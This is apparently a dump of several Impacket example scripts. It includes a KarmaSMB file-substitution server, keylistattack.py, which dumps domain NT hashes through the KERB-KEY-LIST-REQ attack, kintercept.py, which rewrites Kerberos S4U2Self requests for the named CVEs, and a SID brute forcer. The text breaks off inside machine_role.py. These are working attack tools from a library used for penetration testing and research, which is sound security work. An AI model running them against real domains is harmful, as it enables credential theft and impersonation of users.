treeConnectAndXData.fromString(SMBCommand['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])\n\n        # Is this a UNC?\n        if ntpath.ismount(UNCOrShare):\n            path = UNCOrShare.split('\\\\')[3]\n        else:\n            path = ntpath.basename(UNCOrShare)\n\n        # We won't search for the share.. all of them exist :P\n        smbServer.log(\"TreeConnectAndX request for %s\" % path, logging.INFO)\n        #share = searchShare(connId, path, smbServer) \n        share = {}\n        # Simple way to generate a Tid\n        if len(connData['ConnectedShares']) == 0:\n           tid = 1\n        else:\n           tid = list(connData['ConnectedShares'].keys())[-1] + 1\n        connData['ConnectedShares'][tid] = share\n        connData['ConnectedShares'][tid]['path'] = '/'\n        connData['ConnectedShares'][tid]['shareName'] = path\n        resp['Tid'] = tid\n        #smbServer.log(\"Connecting Share(%d:%s)\" % (tid,path))\n\n        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS\n\n        if path == 'IPC$':\n            respData['Service']               = 'IPC'\n        else:\n            respData['Service']               = path\n        respData['PadLen']                = 0\n        respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode()\n\n        respSMBCommand['Parameters']             = respParameters\n        respSMBCommand['Data']                   = respData \n\n        resp['Uid'] = connData['Uid']\n        resp.addCommand(respSMBCommand)\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [resp], errorCode\n\n    def _start(self):\n        self.server.serve_forever()\n\n    def run(self):\n        logging.info(\"Setting up SMB Server\")\n        self._start()\n\n    def setDefaultFile(self, filename):\n        self.defaultFile = filename\n\n    def setExtensionsConfig(self, filename):\n        for line in filename.readlines():\n            line = line.strip('\\r\\n ')\n            if line.startswith('#') is not True and len(line) > 0:\n                extension, pathName = line.split('=')\n                self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = False, description = \"For every file request received, this module will \"\n                                                                     \"return the pathname contents\")\n    parser.add_argument(\"--help\", action=\"help\", help='show this help message and exit')\n    parser.add_argument('fileName', action='store', metavar = 'pathname', help=\"Pathname's contents to deliver to SMB \"\n                                                                               \"clients\")\n    parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map '\n                        'extensions to files to deliver. For those extensions not present, pathname will be delivered')\n    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    try:\n       options = parser.parse_args()\n    except Exception as e:\n       logging.critical(str(e))\n       sys.exit(1)\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    s = KarmaSMBServer(options.smb2support)\n    s.setDefaultFile(os.path.normpath(options.fileName))\n    if options.config is not None:\n        s.setExtensionsConfig(options.config)\n\n    s.start()\n        \n    logging.info(\"Servers started, waiting for connections\")\n    while True:\n        try:\n            sys.stdin.read()\n        except KeyboardInterrupt:\n            sys.exit(1)\n        else:\n            pass\n"
  },
  {
    "path": "examples/keylistattack.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Performs the KERB-KEY-LIST-REQ attack to dump secrets\n#   from the remote machine without executing any agent there\n#\n#   If the SMB credentials are supplied, the script starts by\n#   enumerating the domain users via SAMR. Otherwise, the attack\n#   is executed against the specified targets.\n#\n#   Examples:\n#       ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey>\n#       ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey> -full\n#       ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey <aesKey> LIST\n#       ./keylistdump.py -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey <aesKey> LIST\n#\n# Author:\n#   Leandro Cuozzo (@0xdeaddood)\n#\n\nimport logging\nimport os\nimport random\n\nfrom impacket.examples import logger\nfrom impacket.examples.secretsdump import RemoteOperations, KeyListSecrets\nfrom impacket.examples.utils import parse_target\nfrom impacket.krb5 import constants\nfrom impacket.krb5.types import Principal\nfrom impacket.smbconnection import SMBConnection\nfrom impacket import version\n\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\n\nclass KeyListDump:\n    def __init__(self, remoteName, username, password, domain, options, enum, targets):\n        self.__domain = domain\n        self.__username = username\n        self.__password = password\n        self.__aesKey = options.aesKey\n        self.__doKerberos = options.k\n        self.__aesKeyRodc = options.rodcKey\n        self.__remoteName = remoteName\n        self.__remoteHost = options.target_ip\n        self.__kdcHost = options.dc_ip\n        self.__rodc = options.rodcNo\n        # self.__kvno = 1\n        self.__enum = enum\n        self.__targets = targets\n        self.__full = options.full\n        self.__smbConnection = None\n        self.__remoteOps = None\n        self.__keyListSecrets = None\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n        else:\n            self.__lmhash = ''\n            self.__nthash = ''\n\n    def connect(self):\n        try:\n            self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)\n            if self.__doKerberos:\n                self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                                   self.__nthash, self.__aesKey, self.__kdcHost)\n            else:\n                self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash,\n                                           self.__nthash)\n        except Exception as e:\n            if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:\n                # SMBConnection failed. That might be because there was no way to log into the\n                # target system. We just have a last resort. Hope we have tickets cached and that they\n                # will work\n                logging.debug('SMBConnection didn\\'t work, hoping Kerberos will help (%s)' % str(e))\n                pass\n            else:\n                raise\n\n    def run(self):\n        if self.__enum is True:\n            self.connect()\n            self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)\n            self.__remoteOps.connectSamr(self.__domain)\n            self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps)\n            logging.info('Enumerating target users. This may take a while on large domains')\n            if self.__full is True:\n                targetList = self.getAllDomainUsers()\n            else:\n                targetList = self.__keyListSecrets.getAllowedUsersToReplicate()\n        else:\n            logging.info('Using target users provided by parameter')\n            self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None)\n            targetList = self.__targets\n\n        logging.info('Dumping Domain Credentials (domain\\\\uid:[rid]:nthash)')\n        logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!')\n        for targetUser in targetList:\n            user = targetUser.split(\":\")[0]\n            targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n            partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName)\n            fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey)\n            if fullTGT is not None:\n                key = self.__keyListSecrets.getKey(fullTGT, sessionKey)\n                print(self.__domain + \"\\\\\" + targetUser + \":\" + key[2:])\n\n    def getAllDomainUsers(self):\n        resp = self.__remoteOps.getDomainUsers()\n        # Users not allowed to replicate passwords by default\n        deniedUsers = [500, 501, 502, 503]\n        targetList = []\n        for user in resp['Buffer']['Buffer']:\n            if user['RelativeId'] not in deniedUsers and \"krbtgt_\" not in user['Name']:\n                targetList.append(user['Name'] + \":\" + str(user['RelativeId']))\n\n        return targetList\n\n\nif __name__ == '__main__':\n    import argparse\n    import sys\n\n    try:\n        import pyasn1\n        from pyasn1.type.univ import noValue, SequenceOf, Integer\n    except ImportError:\n        print('This module needs pyasn1 installed')\n        sys.exit(1)\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Performs the KERB-KEY-LIST-REQ attack to dump \"\n                                                                \"secrets from the remote machine without executing any agent there.\")\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<KDC HostName or IP address> (Use this credential '\n                                                       'to authenticate to SMB and list domain users (low-privilege account) or LIST'\n                                                       ' (if you want to parse a target file) ')\n    parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account')\n    parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller')\n    parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. '\n                        'Noisy! It could lead to more TGS requests being rejected')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('LIST option')\n    group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)')\n    group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)')\n    group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)')\n    group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='Use NTLM hashes to authenticate to SMB '\n                                                                                'and list domain users.')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos to authenticate to SMB and list domain users. Grabs '\n                       'credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot '\n                       'be found, it will use the ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication'\n                                                                          ' (128 or 256 bits)')\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\", help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.rodcNo is None:\n        logging.error(\"You must specify the RODC number (krbtgt_XXXXX)\")\n        sys.exit(1)\n    if options.rodcKey is None:\n        logging.error(\"You must specify the RODC aes key\")\n        sys.exit(1)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if remoteName == '':\n        logging.error(\"You must specify a target or set the option LIST\")\n        sys.exit(1)\n\n    if remoteName == 'LIST':\n        targets = []\n        if options.full is True:\n            logging.warning(\"Flag -full will have no effect\")\n        if options.t is not None:\n            targets.append(options.t)\n        elif options.tf is not None:\n            try:\n                with open(options.tf, 'r') as f:\n                    for line in f:\n                        target = line.strip()\n                        if target != '' and target[0] != '#':\n                            targets.append(target + \":\" + \"N/A\")\n            except IOError as error:\n                logging.error(\"Could not open file: %s - %s\", options.tf, str(error))\n                sys.exit(1)\n            if len(targets) == 0:\n                logging.error(\"No valid targets specified!\")\n                sys.exit(1)\n        else:\n            logging.error(\"You must specify a target username or targets file\")\n            sys.exit(1)\n\n        if options.kdc is not None:\n            if '.' in options.kdc:\n                remoteName, domain = options.kdc.split('.', 1)\n            else:\n                remoteName = options.kdc\n        else:\n            logging.error(\"You must specify the KDC HostName or FQDN\")\n            sys.exit(1)\n\n        if options.target_ip is None:\n            options.target_ip = remoteName\n        if options.domain is not None:\n            domain = options.domain\n        if domain == '':\n            logging.error(\"You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc\")\n            sys.exit(1)\n\n        keylistdumper = KeyListDump(remoteName, username, password, domain, options, False, targets)\n    else:\n        if '@' not in options.target:\n            logging.error(\"You must specify the KDC HostName or IP Address\")\n            sys.exit(1)\n        if options.target_ip is None:\n            options.target_ip = remoteName\n        if domain == '':\n            logging.error(\"You must specify a target domain\")\n            sys.exit(1)\n        if username == '':\n            logging.error(\"You must specify a username\")\n            sys.exit(1)\n        if password == '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        keylistdumper = KeyListDump(remoteName, username, password, domain, options, True, targets=[])\n\n    try:\n        keylistdumper.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n\n            traceback.print_exc()\n        logging.error(e)"
  },
  {
    "path": "examples/kintercept.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Copyright (c) 2017 @MrAnde7son\n#\n# Copyright and licensing note from kintercept.py:\n#\n# MIT Licensed\n# Copyright (c) 2019 Isaac Boukris <iboukris@gmail.com>\n#\n# A tool for intercepting TCP streams and for testing KDC handling\n# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self\n# protocol extention (CVE-2018-16860 and CVE-2019-0734).\n#\n# The tool listens on a local port (default 88), to which the hijacked\n# connections should be redirected (via port forwarding, etc), and sends\n# all the packets to the upstream DC server.\n# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied\n# packet will be changed to the name specified in the handler's argument.\n#\n# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr\n#\nimport struct, socket, argparse, asyncore\nfrom binascii import crc32\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\nfrom impacket import version\nfrom impacket.krb5 import constants\nfrom impacket.krb5.crypto import Cksumtype\nfrom impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC\nfrom impacket.krb5.types import Principal\n\nfrom impacket.examples import logger\n\n\nMAX_READ_SIZE = 16000\nMAX_BUFF_SIZE = 32000\nLISTEN_QUEUE = 10\nTYPE = 10\n\ndef process_s4u2else_req(data, impostor):\n    try:\n        tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]\n    except:\n        print ('Record is not a TGS-REQ')\n        return ''\n\n    pa_tgs_req = pa_for_user = None\n\n    for pa in tgs['padata']:\n        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:\n            pa_tgs_req = pa\n        elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:\n            pa_for_user = pa\n\n    if not pa_tgs_req or not pa_for_user:\n        print ('TGS request is not S4U')\n        return ''\n\n    tgs['padata'] = noValue\n    tgs['padata'][0] = pa_tgs_req\n\n    try:\n        for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]\n    except:\n        print ('Failed to decode PA_FOR_USER!')\n        return ''\n\n    S4UByteArray = struct.pack('<I', TYPE)\n    S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'\n\n    cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff\n    cs = struct.pack('<I', cs)\n\n    clientName = Principal(impostor, type=TYPE)\n    seq_set(for_user_obj, 'userName', clientName.components_to_asn1)\n\n    for_user_obj['cksum'] = noValue\n    for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32\n    for_user_obj['cksum']['checksum'] = cs\n\n    pa_for_user['padata-value'] = encoder.encode(for_user_obj)\n    tgs['padata'][1] = pa_for_user\n\n    return bytes(encoder.encode(tgs))\n\ndef mod_tgs_rep_user(data, reply_user):\n    try:\n        tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]\n    except:\n        print ('Record is not a TGS-REP')\n        return ''\n\n    cname = Principal(reply_user, type=TYPE)\n    seq_set(tgs, 'cname', cname.components_to_asn1)\n\n    return bytes(encoder.encode(tgs))\n\n\nclass InterceptConn(asyncore.dispatcher):\n    def __init__(self, conn=None):\n        asyncore.dispatcher.__init__(self, conn)\n        self.peer = None\n        self.buffer = bytearray()\n        self.eof_received = False\n        self.eof_sent = False\n\n    # Override recv method to handle half opened connections\n    # e.g. curl --http1.0 ...\n    def recv(self, n):\n        if not n:\n            return ''\n        try:\n            data = self.socket.recv(n)\n            if not data:\n                self.handle_eof()\n                return ''\n            else:\n                return data\n        except socket.error as why:\n            if why.args[0] in asyncore._DISCONNECTED:\n                self.handle_close()\n                return ''\n            else:\n                raise\n\n    def forward_data(self, data):\n        self.peer.buffer.extend(data)\n\n    def buffer_empty(self):\n        return len(self.buffer) == 0\n\n    def max_read_size(self):\n        space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))\n        return min(MAX_READ_SIZE, space)\n\n    def readable(self):\n        if not self.connected:\n            return True\n        return (not self.eof_received) and (self.max_read_size() != 0)\n\n    def handle_read(self):\n        data_read = self.recv(self.max_read_size())\n        if data_read:\n            print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')\n            self.forward_data(data_read)\n\n    def handle_eof(self):\n        print (str(self.fileno()) +  ': received eof')\n        self.eof_received = True\n\n    def need_to_send_eof(self):\n        if self.eof_sent:\n            return False\n        return self.buffer_empty() and self.peer.eof_received\n\n    def writable(self):\n        if not self.connected:\n            return True\n        return not self.buffer_empty() or self.need_to_send_eof()\n\n    def handle_write(self):\n        if not self.buffer_empty():\n            sent = self.send(self.buffer)\n            print (str(self.fileno()) +  ': sent ' + str(sent) + ' bytes')\n            if sent:\n                del self.buffer[:sent]\n        if self.need_to_send_eof():\n            self.shutdown(socket.SHUT_WR)\n            self.eof_sent = True\n            print (str(self.fileno()) +  ': sent eof')\n            if self.peer.eof_sent:\n                self.handle_close()\n\n    def handle_close(self):\n        print ('Closing pair: [' + str(self.fileno()) +  ',' + str(self.peer.fileno()) + ']')\n        self.peer.close()\n        self.close()\n\n\ndef InterceptKRB5Tcp(process_record_func, arg):\n    class _InterceptKRB5Tcp(InterceptConn):\n        def __init__(self, conn=None):\n            InterceptConn.__init__(self, conn)\n            self.proto_buffer = bytearray()\n\n        def forward_data(self, data):\n            self.proto_buffer.extend(data)\n\n            while len(self.proto_buffer):\n                if len(self.proto_buffer) < 4:\n                    break\n\n                header = ''.join(reversed(str(self.proto_buffer[:4])))\n                rec_len = struct.unpack('<L', header)[0]\n                print ('len of record: ' + str(rec_len))\n\n                if len(self.proto_buffer) < 4 + rec_len:\n                    break\n\n                msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)\n                if not msg:\n                    InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])\n                else:\n                    header = struct.pack('<L', len(msg))\n                    InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)\n\n                del self.proto_buffer[:4+rec_len]\n\n    return _InterceptKRB5Tcp\n\nclass InterceptConnFactory:\n    def __init__(self, handler=None, arg=None):\n        self.handler = handler\n        self.arg = arg\n\n    def produce(self):\n        if not self.handler:\n            return InterceptConn\n        if self.handler.lower() == \"s4u2else\":\n            return InterceptKRB5Tcp(process_s4u2else_req, self.arg)\n        if self.handler.lower() == \"tgs-rep-user\":\n            return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)\n\nclass InterceptServer(asyncore.dispatcher):\n    def __init__(self, addr, target, icf1, icf2):\n        asyncore.dispatcher.__init__(self)\n        self.target = target\n        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.set_reuse_addr()\n        self.bind(addr)\n        self.listen(LISTEN_QUEUE)\n        self.downconns = icf1\n        self.upconns = icf2\n\n    def intercept_conns(self, conn):\n        iconn1 = self.downconns.produce()(conn)\n        iconn2 = self.upconns.produce()()\n        return iconn1, iconn2\n\n    def handle_accept(self):\n        conn, addr = self.accept()\n        downstream, upstream = self.intercept_conns(conn)\n        downstream.peer = upstream\n        upstream.peer = downstream\n        try:\n            upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n            upstream.connect(self.target)\n            print ('accepted downconn fd: ' + str(downstream.fileno()))\n            print ('established upconn fd: ' + str(upstream.fileno()))\n        except:\n            print (str(conn.fileno()) + ': failed to connect to target')\n            downstream.handle_close()\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='Intercept TCP streams')\n    parser.add_argument('server', help='Target server address')\n    parser.add_argument('--server-port', default=88, type=int, help='Target server port')\n    parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')\n    parser.add_argument('--listen-addr', default='', help='Address to listen on')\n    parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')\n    parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    return vars(parser.parse_args())\n\n\nif __name__ == '__main__':\n\n    print(version.BANNER)\n\n    args = parse_args()\n\n    logger.init(args.ts, args.debug)\n\n    req_factory = rep_factory = InterceptConnFactory()\n    if args['request_handler']:\n        req_args = args['request_handler'].split(':')\n        req_factory = InterceptConnFactory(req_args[0], req_args[1])\n    if args['reply_handler']:\n        rep_args = args['reply_handler'].split(':')\n        rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])\n\n    server = InterceptServer((args['listen_addr'], args['listen_port']),\n                              (args['server'], args['server_port']),\n                              req_factory, rep_factory)\n    asyncore.loop()\n"
  },
  {
    "path": "examples/lookupsid.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   DCE/RPC lookup sid brute forcer example\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   DCE/RPC [MS-LSAT]\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport logging\nimport argparse\nimport codecs\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport, lsat, lsad\nfrom impacket.dcerpc.v5.samr import SID_NAME_USE\nfrom impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\n\nclass LSALookupSid:\n    KNOWN_PROTOCOLS = {\n        139: {'bindstr': r'ncacn_np:%s[\\pipe\\lsarpc]', 'set_host': True},\n        445: {'bindstr': r'ncacn_np:%s[\\pipe\\lsarpc]', 'set_host': True},\n        }\n\n    def __init__(self, username='', password='', domain='', port = None,\n                 hashes = None, domain_sids = False, use_kerberos = False, maxRid=4000):\n\n        self.__username = username\n        self.__password = password\n        self.__port = port\n        self.__maxRid = int(maxRid)\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__domain_sids = domain_sids\n        self.__doKerberos = use_kerberos\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def dump(self, remoteName, remoteHost):\n\n        logging.info('Brute forcing SIDs at %s' % remoteName)\n\n        stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName\n        logging.info('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.set_kerberos(self.__doKerberos)\n\n        if self.KNOWN_PROTOCOLS[self.__port]['set_host']:\n            rpctransport.setRemoteHost(remoteHost)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n        try:\n            self.__bruteForce(rpctransport, self.__maxRid)\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.critical(str(e))\n            raise\n\n    def __bruteForce(self, rpctransport, maxRid):\n        dce = rpctransport.get_dce_rpc()\n        entries = []\n        dce.connect()\n\n        # Want encryption? Uncomment next line\n        # But make SIMULTANEOUS variable <= 100\n        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)\n\n        # Want fragmentation? Uncomment next line\n        #dce.set_max_fragment_size(32)\n\n        dce.bind(lsat.MSRPC_UUID_LSAT)\n        \n        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)\n        policyHandle = resp['PolicyHandle']\n\n        if self.__domain_sids: # get the Domain SID\n            resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)\n            domainSid =  resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical()\n        else: # Get the target host SID\n            resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n            domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n\n        logging.info('Domain SID is: %s' % domainSid)\n\n        soFar = 0\n        SIMULTANEOUS = 1000\n        for j in range(maxRid//SIMULTANEOUS+1):\n            if (maxRid - soFar) // SIMULTANEOUS == 0:\n                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS\n            else: \n                sidsToCheck = SIMULTANEOUS\n \n            if sidsToCheck == 0:\n                break\n\n            sids = list()\n            for i in range(soFar, soFar+sidsToCheck):\n                sids.append(domainSid + '-%d' % i)\n            try:\n                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)\n            except DCERPCException as e:\n                if str(e).find('STATUS_NONE_MAPPED') >= 0:\n                    soFar += SIMULTANEOUS\n                    continue\n                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:\n                    resp = e.get_packet()\n                else: \n                    raise\n\n            for n, item in enumerate(resp['TranslatedNames']['Names']):\n                if item['Use'] != SID_NAME_USE.SidTypeUnknown:\n                    print(\"%d: %s\\\\%s (%s)\" % (\n                    soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'],\n                    SID_NAME_USE.enumItems(item['Use']).name))\n            soFar += SIMULTANEOUS\n\n        dce.disconnect()\n\n        return entries\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. '\n                       'If omitted it will use whatever was specified as target. This is useful when target is the '\n                       'NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful when proxying through smbrelayx)')\n    group.add_argument('-k', action=\"store_true\", \n                        help='Use Kerberos authentication. Grabs credentials from ccache file '\n                            '(KRB5CCNAME) based on target parameters. If valid credentials '\n                            'cannot be found, it will use the ones specified in the command '\n                            'line')\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.domain_sids, options.k, options.maxRid)\n    try:\n        lookup.dump(remoteName, options.target_ip)\n    except:\n        pass\n"
  },
  {
    "path": "examples/machine_role.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Through MS-DSSP, this script retrieves a host's role along with\n#   its primary domain details.\n#\n#   This may be particularly useful when it is used in a script where  \n#   further operations depend on knowing the role of its target, \n#   e.g. \"I do not want to perform this on a DC\".\n#\n# Author:\n#   Simon Decosse (@simondotsh)\n#\n\nimport sys\nimport logging\nimport argparse\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.uuid import bin_to_string\nfrom impacket.dcerpc.v5 import transport, dssp\n\nclass MachineRole:\n    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp/09f0677f-52e5-454d-9a65-0e8d8ba6fdeb\n    MACHINE_ROLES = {\n        